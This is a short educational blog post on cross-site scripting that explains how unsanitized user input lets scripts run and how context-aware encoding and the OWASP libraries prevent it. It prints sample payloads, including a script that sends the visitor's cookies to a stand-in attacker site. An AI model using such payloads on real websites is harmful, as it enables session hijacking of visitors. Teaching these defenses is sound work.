Cross-site scripting (XSS)

This post is part of the serie 'Vulnerabilities'. Be sure to check out the rest of the blog posts of the serie!

What's XSS?

A Cross Site Scripting (XSS) vulnerability allows you to inject code into a web page. This can occur when the website displays content that is entered by the user without sanitizing it. The injected code can be HTML, CSS, JavaScript or VBScript that will be interpreted by the victim's browser.

Let's take an example. On a forum to register I must enter a nickname. This nickname will then be displayed on all the pages where I will post a message. If my nickname is Meziantou, there is no problem. However if my nickname is <script>alert('toto')</script> better that the website filter the content I have entered by replacing the rafters by &lt; and &gt;. If it does not do this every time my nick appears, the script will run. All visitors to this forum are therefore potentially affected by this vulnerability.

As said previously the attacker will be able to inject the code that he want. Let us see some examples of what can be injected.

  • Display an iframe (potentially containing malicious code)
<iframe src="http://sitepirate.com" />
  • Show an annoying popup
<script>alert('Mon site est codé avec les pieds')</script>
  • Steal cookies
<script>document.location='http://www.sitepirate.com/?'+document.cookie</script>

The user will be redirected to the page http://www.sitepirate.com/?CurrentUICulture=fr-FR;%20testcookie=value by sending in parameter all the cookies of the site on which it was.

  • And many other things…

How to guard against it?

The solution is to encode the annoying characters. But it's not easy at all. Indeed it depends on where the text is inserted.

<div>TEXTE</div>         In an HTML tag
<script>TEXTE</script>   In a script tag
<!--TEXTE-->             In an HTML comment
<div TEXTE=test />       In an attribute value
<TEXTE href="/test" />   In the name of a tag
<style>TEXTE</style>     In a stylesheet
<a href="TEXTE">clickme</a>                In an url
<a href="/index?value=TEXTE">clickme</a>   In an url parameter

In the first case it will be enough to encode the HTML entities (replace & with &amp;, " by &quot;, etc.), whereas in the last one it will be necessary to encode the URL (http://www.W3schools.com/tags/ref_urlencode.asp).

OWASP provides a library to encode strings for many languages ​​(ASP, PHP, Ruby, Python, Perl, JavaScript). Note that there are other lib just as powerful. In Dotnet there is Anti-XSS Library for example.

For more information about how to prevent XSS attacks, I'll let you read the OWASP guidelines.

Leave a reply